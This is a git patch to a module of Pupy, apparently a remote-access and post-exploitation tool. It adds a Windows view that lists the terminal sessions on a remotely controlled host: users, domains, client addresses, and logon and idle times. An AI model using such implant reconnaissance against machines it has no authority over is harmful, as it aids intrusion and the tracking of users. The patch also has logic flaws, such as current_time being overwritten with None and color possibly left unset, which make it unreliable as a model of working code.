From 79fe03b52c3af3a6f3c4419ebfee99ca4693c41f Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk <alxchk@gmail.com>
Date: Thu, 11 Apr 2019 23:24:16 +0300
Subject: [PATCH] windows/w: Print more info about sessions

---
 pupy/modules/w.py | 130 +++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 128 insertions(+), 2 deletions(-)

diff --git a/pupy/modules/w.py b/pupy/modules/w.py
index c9fd775a..0fb7ace7 100644
--- a/pupy/modules/w.py
+++ b/pupy/modules/w.py
@@ -1,7 +1,7 @@
 # -*- coding: utf-8 -*-
 
 from pupylib.PupyModule import config, PupyModule, PupyArgumentParser
-from pupylib.PupyOutput import Color
+from pupylib.PupyOutput import Color, Table
 from datetime import datetime, timedelta
 
 import logging
@@ -10,11 +10,16 @@ __class_name__="WModule"
 
 ADMINS = (r'NT AUTHORITY\SYSTEM', 'root')
 
+
 @config(cat="admin")
 class WModule(PupyModule):
     """ list terminal sessions """
 
-    dependencies = ['pupyps']
+    dependencies = {
+        'all': ['pupyps'],
+        'windows': ['pupwinutils.security']
+    }
+
     is_module=False
 
     @classmethod
@@ -22,6 +27,127 @@ class WModule(PupyModule):
         cls.arg_parser = PupyArgumentParser(prog="w", description=cls.__doc__)
 
     def run(self, args):
+        if self.client.is_windows():
+            EnumerateWTS = self.client.remote(
+                'pupwinutils.security', 'EnumerateWTS')
+
+            try:
+                wts_sessions = EnumerateWTS()
+
+                cols = ['#']
+
+                sessions = wts_sessions.keys()
+
+                cols.extend(sessions)
+
+                records = []
+
+                session_colors = {}
+
+                state = {'#': 'State'}
+                user = {'#': 'User'}
+                client_info = {'#': 'Client'}
+                client_res = {'#': 'Res'}
+                time_info = {
+                    k:{} for k in (
+                        'LastInputTime', 'ConnectTime',
+                        'DisconnectTime', 'LogonTime'
+                    )
+                }
+
+                for session in sessions:
+                    session_state = wts_sessions[session]['state']
+                    session_info = wts_sessions[session]['info']
+                    session_client = wts_sessions[session]['client']
+
+                    current_time = datetime.now()
+                    disconnect_time = None
+                    current_time = None
+                    input_time = None
+
+                    if session_info['CurrentTime']:
+                        current_time = datetime.utcfromtimestamp(
+                            session_info['CurrentTime'])
+
+                    for time_info_record in time_info:
+                        value = session_info[time_info_record]
+                        if value:
+                            value = datetime.utcfromtimestamp(value)
+                            if time_info_record == 'DisconnectTime':
+                                disconnect_time = value
+                            elif time_info_record == 'LastInputTime':
+                                input_time = value
+                            elif time_info_record == 'CurrentTime':
+                                current_time = value
+                        else:
+                            value = ''
+
+                        time_info[time_info_record][session] = value
+
+                    if session_state == 'Disconnected':
+                        color = 'grey'
+                    elif session_state == 'Listen':
+                        color = 'cyan'
+                    elif session_state == 'Active':
+                        idle = None
+                        if input_time:
+                            idle = (current_time - input_time).total_seconds()
+
+                        if idle is not None and idle < 10 * 60:
+                            color = 'cyan'
+                        elif disconnect_time > current_time:
+                            color = 'lightgrey'
+
+                    session_colors[session] = color
+
+                    view_port = ''
+                    if session_client['HRes'] and session_client['VRes']:
+                        view_port = '{}x{}'.format(
+                            session_client['HRes'], session_client['VRes'])
+
+                    client_line = ''
+                    if session_client['ClientName'] and session_client['ClientProductId']:
+                        client_line = '{}\\{}@{} ({}/{} {}.{})'.format(
+                            session_client['Domain'], session_client['UserName'],
+                            session_client['ClientAddress'],
+                            session_client['ClientName'], session_client['DeviceIdD'],
+                            session_client['ClientProductId'], session_client['ClientBuildNumber']
+                    )
+
+                    client_info[session] = Color(client_line, color)
+                    client_res[session] = Color(view_port, color)
+
+                    state[session] = Color(session_state, color)
+
+                    username = session_info['UserName']
+                    domain = session_info['Domain']
+                    if username:
+                        if domain:
+                            username = domain + '\\' + username
+
+                    user[session] = Color(username, color)
+
+                records.append(state)
+                records.append(user)
+                for time_info_type in time_info:
+                    record = {'#': time_info_type}
+                    record.update({
+                        session:Color(
+                            str(time_info[time_info_type][session]).rsplit('.')[0]
+                            if time_info[time_info_type][session] else '',
+                            session_colors[session]
+                        ) for session in sessions
+                    })
+                    records.append(record)
+                records.append(client_info)
+                records.append(client_res)
+
+                self.log(Table(records, cols))
+                return
+
+            except Exception:
+                pass
+
         try:
             users = self.client.remote('pupyps', 'users')